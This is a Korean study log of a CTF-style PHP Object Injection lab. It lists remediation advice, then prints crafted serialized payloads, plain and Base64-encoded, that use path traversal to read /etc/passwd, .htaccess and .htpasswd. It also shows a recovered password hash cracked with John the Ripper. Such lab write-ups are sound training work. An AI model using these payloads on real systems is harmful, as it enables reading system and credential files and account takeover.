SKS 공부 - 2026-01-13

SKS 홈으로
53회차 공부

한줄요약:
  • 보안 컨설팅 - 직렬화 (PHP Object Injection) 취약점 분석 및 실습
오늘 공부한 내용:

공부 내용:

4.3 직렬화

메뉴 URL 파라미터
운영관리 > /challenges/serialize2/index.php userinfo
개선방안
  • 사용자 입력 데이터에 대한 unserialize() 함수 사용 금지
  • 직렬화 데이터 대신 json_decode() 방식으로 구조 변경
  • 소멸자(__destruct) 내 파일 접근 로직 제거 및 명시적 함수 호출 구조로 개선

Step.1 직렬화 확인

O:5:"login":1:{s:2:"id";s:28:"../../../../../../etc/passwd";}
Base64 인코딩 ->
Tzo1OiJsb2dpbiI6MTp7czoyOiJpZCI7czoyODoiLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCI7fQ==

/etc/passwd 파일을 조회 확인

Step 1

Step.2 설정파일 확인하기

기본 설정파일인 .htaccess 확인

O:5:"login":1:{s:2:"id";s:9:".htaccess";}
Base64 인코딩 ->
Tzo1OiJsb2dpbiI6MTp7czoyOiJpZCI7czo5OiIuaHRhY2Nlc3MiO30=

AuthUserFile (유저정보 의심 파일) 경로를 확인: /var/www/fnctf/challenges/serialize2/users/.htpasswd

Step 2

.htpasswd 조회

O:5:"login":1:{s:2:"id";s:9:".htpasswd";}
Base64 인코딩 ->
Tzo1OiJsb2dpbiI6MTp7czoyOiJpZCI7czo5OiIuaHRwYXNzd2QiO30=
결과 확인
JohntheRipper:dBXXhz6nTBILA 계정 정보 확인
해당 내용을 리눅스에서 존더리퍼를 활용해 Decrypt
계정 정보는 JohntheRipper:24680 로 확인
Step 2
Step 2

Step.3 users/ 접근

Step 3
Step 3
Step 3
Step 3